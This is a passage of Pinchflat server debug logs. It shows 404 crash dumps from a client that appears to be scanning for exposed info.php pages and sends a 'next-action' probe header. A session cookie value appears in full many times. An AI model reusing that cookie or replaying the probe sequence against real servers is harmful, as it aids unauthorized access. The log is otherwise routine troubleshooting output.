"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11848.0>, params: %{}, path_info: ["develop", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/develop/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXf3YindcmlgABWWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/develop/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 81, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /develop/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/develop/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 81, host_info: :undefined }}, a (truncated) 17:14:39.364 [info] GET /api/info.php 17:14:39.365 [debug] QUERY OK source="settings" db=0.1ms idle=513.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:39.365 [debug] QUERY OK source="settings" db=0.0ms idle=513.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:39.365 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:39.365 [error] #PID<0.11849.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 82) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /api/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 82, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11849.0>, params: %{}, path_info: ["api", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/api/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXg0t3Q2ouOEABWYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 82, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 82, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:39.620 [info] GET /backend/info.php 17:14:39.621 [debug] QUERY OK source="settings" db=0.1ms idle=681.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:39.621 [debug] QUERY OK source="settings" db=0.0ms idle=513.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:39.621 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:39.621 [error] #PID<0.11850.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 83) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /backend/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 83, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11850.0>, params: %{}, path_info: ["backend", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/backend/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXhxzPQ2xP8QABWaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 83, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 83, host_info: :undefined }}, a (truncated) 17:14:39.877 [info] GET /server/info.php 17:14:39.877 [debug] QUERY OK source="settings" db=0.1ms idle=769.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:39.877 [debug] QUERY OK source="settings" db=0.0ms idle=512.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:39.877 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:39.878 [error] #PID<0.11851.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 84) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /server/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 84, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11851.0>, params: %{}, path_info: ["server", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/server/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXiu5V0i2qYYABWcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 